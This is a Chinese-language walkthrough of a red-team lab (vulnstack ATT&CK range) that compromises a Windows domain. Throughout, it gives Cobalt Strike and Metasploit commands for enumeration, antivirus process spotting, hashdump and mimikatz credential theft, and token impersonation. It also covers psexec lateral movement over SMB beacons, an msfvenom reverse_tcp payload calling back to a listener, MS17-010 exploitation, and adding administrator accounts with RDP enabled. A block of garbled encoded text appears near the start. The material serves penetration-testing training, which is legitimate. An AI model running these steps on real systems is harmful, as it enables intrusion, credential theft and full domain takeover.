请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,猫哥的秋刀鱼回忆录及文章作者不为此承担任何责任。猫哥的秋刀鱼回忆录公众号均不发表带有原创标志的文章,转载请附带公众号出处!此篇为红日安全vulnstack-ATT&CK实战系列 红队实战(一)靶场训练,旨在将攻击手段可视化,流程化,具现化。帮助新手检测Web信息收集,漏洞搜索与利用以及Getshell技巧能力是否达标。并且需要认知内网渗透信息收集与攻击姿势,掌握横向移动技术与通道的构建,并实现持久控制。
hO2wpFYBDH3NjG2ZrPZ6mS50QYN0Fr30PoVVPr3GAbVgFYl3R2x7Eax1GZ3nhIX7kH2xmFLF8PZdjGH2hNkdcIXF4H2xWFLFGGXRjHL2nEZ6pGal5FKFXIYVOhQ2spHb3EGHBjG2ZcMZ6lKaV6BIN0IokrQJ7VQ0p4Gpd60aVCMHB6IolGHIJkhEYZCAo7AHpdCN2VjQ3RHGY6nGYlOH33VBrF4QYtDHoZcJXVJYl3PqVbGnFOhBJ3kGX28O2VkGaBHH3dmGn70BJ3lGaF4QY7OHoZsNIhNEYF8GpNoHIUnNIZjhIb39MJctHIdGAIRiAopHGLV0Ha7OCEdcEb3GN2p8FHV9MIt6Gax4JoJlAqB9hKI72C5-YAINmGYhDGJ7iGYZ0F2d9JbFHH37BFL-0FYpWKYF6Goto0YF8QWpMEHognQ2xAKXJGGYt8C4pbC+++
内网渗透实际上很难用比较通俗易懂的语言来阐述清楚,可能对于绝大多数的人来说,内网渗透基本就是摸着MSF+CS慢慢操作过来的,很难有系统的指定行为。内网渗透-工作组的这种形式,实际上就是单一爆破+口令抓取之类的,如果涉及到域网络,可能就会涉及到Kerbers&NTLM认证&PTH hash传递攻击&票据攻击等等,万变不离其宗,一切的开始都是照猫画虎,来跟着操作一遍,再去补内网知识!
做到心里有数即可
通过蚁剑把马子扔上去,通过命令行执行,成功上线
调低心跳值,自己的内网且没有杀软就设置为0s,方便测试,真实环境请不要设置这么低
信息收集自然是灵魂所在,在这里新手可以巩固常见的命令,熟练后即可使用插件一步登天。
shell ipconfig /all
shell net view
shell net view /domain
shell net time /domain
shell net config workstation
shell wmic useraccount get /all
shell net user /domain
shell whoami
shell hostname
shell net user
shell net localgroup administrators
shell systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
shell systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
shell tasklist
shell tasklist /svc
命令太多了就不截图了,也不能一一举例出来,直接梭哈整理看文档还是比较便捷
注重一下如果存在杀软,要把进程挑出去对比一下
shell tasklist /svc
常见的杀软进程:
进程名 | 软件 |
---|---|
360sd.exe | 360 杀毒 |
360tray.exe | 360 实时保护 |
ZhuDongFangYu.exe | 360 主动防御 |
KSafeTray.exe | 金山卫士 |
SafeDogUpdateCenter.exe | 安全狗 |
McAfee | McShield.exe |
egui.exe | NOD32 |
AVP.exe | 卡巴斯基 |
avguard.exe | 小红伞 |
bdagent.exe | BitDefender |
确定域内用户角色
shell net time /domain
若能够执行,说明此台机器在域中
shell wmic useraccount get /all
获取域内用户的详细信息,用户名,描述信息,SID 域名
shell nslookup god.org
解析域名服务器
shell net group "domain computers" /domain
查看所有域成员计算机列表
net group "domain admins" /domain
查看域管理员
回味的够了,手工适可而止就行,直接一键收集后下载出来,然后分析分析就可以了。
Laodon插件直接扫内网存活主机探测/系统/端口,也可以用自带的net view查看域信息
接下来把Win-7这台机子提权至system权限:如果权限不够可以提权,自带提权或者使用额外的提权插件。这里使用ms14-058进行提权
然后老操作了,把fscan丢上去扫这个带着双网卡的机器
[*] Tasked beacon to run: fscan.exe -h 192.168.52.1/24 -o out.txt
[+] host called home, sent: 57 bytes
[+] received output: ___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.1
start infoscan
(icmp) Target 192.168.52.143 is alive
(icmp) Target 192.168.52.141 is alive
(icmp) Target 192.168.52.138 is alive
[*] Icmp alive hosts len is: 3
192.168.52.138:139 open
192.168.52.141:139 open
192.168.52.138:88 open
192.168.52.143:139 open
192.168.52.143:3306 open
192.168.52.138:445 open
192.168.52.143:445 open
192.168.52.138:135 open
192.168.52.141:135 open
192.168.52.143:135 open
192.168.52.138:80 open
192.168.52.143:80 open
192.168.52.141:21 open
192.168.52.141:8099 open
192.168.52.141:8098 open
192.168.52.141:7002 open
192.168.52.141:7001 open
192.168.52.141:445 open[+] received output:
[*] alive ports len is: 18
start vulscan
[+] NetInfo:
[*]192.168.52.143
[->]stu1
[->]192.168.52.143
[->]192.168.92.128
[->]169.254.129.186
[+] 192.168.52.143 MS17-010 (Windows 7 Professional 7601 Service Pack 1)
[+] NetInfo:
[*]192.168.52.138
[->]owa
[->]192.168.52.138
[*] 192.168.52.143 GOD\STU1 Windows 7 Professional 7601 Service Pack 1
[+] 192.168.52.138 MS17-010 (Windows Server 2008 R2 Datacenter 7601 Service Pack 1)
[*] 192.168.52.138 [+]DC GOD\OWA Windows Server 2008 R2 Datacenter 7601 Service Pack 1
[*] 192.168.52.141 __MSBROWSE__\SNTL_ROOT-TVI86
[+] NetInfo:
[*]192.168.52.141
[->]root-tvi862ubeh
[->]192.168.52.141
[*] WebTitle:http://192.168.52.141:7002 code:200 len:2632 title:Sentinel Keys License Monitor
[*] WebTitle:http://192.168.52.138 code:200 len:689 title:IIS7
[+] 192.168.52.141 MS17-010 (Windows Server 2003 3790)
[+] ftp://192.168.52.141:21:anonymous
[*] WebTitle:https://192.168.52.141:8098 code:401 len:1656 title:You are not authorized to view this page
[*] WebTitle:http://192.168.52.141:8099 code:403 len:1409 title:The page must be viewed over a secure channel
[+] received output:
[*] WebTitle:http://192.168.52.143 code:200 len:14749 title:phpStudy 鎺㈤拡 2014
[+] received output:
宸插畬鎴� 18/18
[*] 鎵弿缁撴潫,鑰楁椂: 25.6467491s
拿到的如果是是管理员权限,就可以先抓一波密码:hashdump读内存密码,用 mimikatz读注册表密码
查看抓取的密码
探测差不多就可以使用BloodHound来分析攻击路径
这个靶机比较简单,因为我们抓到密码后,因为抓到了域控登陆的凭证,那么就可以使用psexec横向内网所有机器。因为另外两台内网的机器不出网,我们到这一步就是去练习如何打不出网的机器。不出网机器上线一般有以下几种方式:
所以我们需要CS去派生一个smb beacon。让内网的主机去连接到能与我们连接的win-7上,怎么说?SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。说白了就是我直接派生一个孩子,通过这个孩子来进一步盗取内网主机的hash,或者在已有的 beacon上创建监听,用来作为跳板进行内网穿透,但是前提是能够通过shell之类访问到内网其他主机。我们首先要得到内网中一台主机的beacon,抓取密码后进行smb喷射,得到另一台开放445端口的机器上的administrator账户密码,在目标机器不出网的情况下,可以使用Smb beacon使目标主机上线
首先建立smb的监听
使用psexec进行横向移动,选择现有的beacon(或着派生一个子会话也可以)作为跳板。这里凭据拥有目标主机管理员权限,我们直接拿SYSTEM权限来演示,我们在前面横向探测已经获取到内网内的其他 Targets 以及读取到的凭证信息,先选择一台非域控主机 ROOT-TVI862UBEH 的 psexec 模块:
无非就是执行了这些命令:
beacon> rev2self
[*] Tasked beacon to revert token
beacon> make_token GOD.ORG\Administrator [email protected]
[*] Tasked beacon to create a token for GOD.ORG\Administrator
beacon> jump psexec ROOT-TVI862UBEH smb
[*] Tasked beacon to run windows/beacon_bind_pipe (\\.\pipe\msagent_f6) on ROOT-TVI862UBEH via Service Control Manager (\\ROOT-TVI862UBEH\ADMIN$\61650fc.exe)
我们便拿下了域内成员的主机
值得一提的是,可以看到smb beacon上线的主机右侧有∞∞标识,使用这种方法上线的机器,主要是通过出网机作为一个中间人,不出网主机成功上线后,如果出网机一断开,这个不出网主机也会断。
如法炮制拿下域控主机即可
最终的拓扑图如下:
这会你再回头看一眼这个是不是一毛一样
其实除了直接使用我们获取到的 hash 值/明文密码,也可以通过直接窃取 GOD\Administrator的token来登录其他主机
选择GOD\Administrator
的token
盗取:
一样的操作,在选择令牌处勾选使用当前token即可:
基本流程就是:利用MySQL日志写shell或者CMS的漏洞去Getshell轻松拿下Web服务器,再利用Web服务器作为跳板,去横向收集域内主机信息,并利用窃取的凭证横向移动到其他主机,最终实现整个域的控制。
我们刚开始好像丢上去了一个fscan做了个大保健,记得用完删除。
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
既然有MS17-010,我们就可以想办法打一下,常见的有Ladon插件,CS插件,MSF。一般来说MSF是最稳定的,其他插件在这种不出网且网络不稳定的情况下成功率会变的很低。打成功后,直接新建一个用户并加入管理员组,开启3389端口。根据实际情况考虑在合适的时间段和条件下直接远程登入,翻一下敏感数据,可能就会在桌面翻到所谓的老婆本。
我先开一下我的Kali,首先,让出网机器先在MSF上线,可以用cs直接传递会话,或者生成个MSF马直接运行一下,方法就很多了。
我们选择CS派生Shell给MSF,我在192.168.92.134这台机器上建立监听
然后CS创建外部监听器
这时候碰到了一个问题:当我把cs的shell传给MSF的时候一直显示如下
算了,可能是有点问题。直接用MSF生成个马丢上去吧
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.92.134 LPORT=4444 -f exe -o ma.exe
监听一下:
handler -p windows/x64/meterpreter/reverse_tcp -H 0.0.0.0 -P 4444
直接在CS上丢上去
可以看到传回一个session
MSF中抓hash和盗取令牌我就不说了,我们直接来横向移动就行
存在52这个不出网的段,那么就需要在MSF中添加路由
查看路由
run get_local_subnets
添加路由
run autoroute -s 192.168.52.0/24
查看添加的路由
run autoroute -p
直接切回会话设置一下目标IP和线程即可开扫
use auxiliary/scanner/smb/smb_ms17_010
记得设置线程!我们是在做实验,不然真的慢
可以看结果
怎么打?怎么选择EXP?多次尝试之后只有两个成功。其他的exp都会打蓝屏或者打重启了。分别为:
auxiliary/admin/smb/ms17010command
exploit/windows/smb/ms17010psexec
这两个模块需要目标去开启命名管道,比较稳定,在打时,不妨使用第一个模块探测一下是否可以使用命名管道。
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.138 192.168.52.143
set command tasklist
show options
run
如果命令执行成功的话就可以优先考虑
auxiliary/admin/smb/ms17_010_command
exploit/windows/smb/ms17_010_psexec
目标机器没有杀软就直接使用exploit/windows/smb/ms17_010_eternalblue打的话出现的问题就是蓝屏/重启/崩溃
如果有杀软直接放弃这个,因为两台机器不出网,监听时使用正向监听,直接run即可拿下
用第一个辅助模块去开3389,创建用户即可,另一台机器同理
外网打点获得shell后,直接可以通过cs上线,在管理员权限下,抓取密码,新建一个smb beacon然后使用psexec对内网两台不出网的机器进行横向。学习内网不出网机器如何上线?使用多种方法打内网中不出网的ms17-010以及在打ms17-010时注意所要注意的细节。